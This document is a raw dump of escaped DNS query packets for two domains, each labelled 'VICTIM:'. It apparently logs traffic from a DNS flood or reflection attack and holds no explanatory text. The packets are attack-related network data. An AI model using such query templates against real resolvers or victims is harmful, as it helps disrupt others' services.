\003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003W\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003X\001\000\000\001\000\000\000\000\000\001\020mdjeafa2zwbqns8w\003org\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Y\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003Z\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003[\001\000\000\001\000\000\000\000\000\001barselixas\003net\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000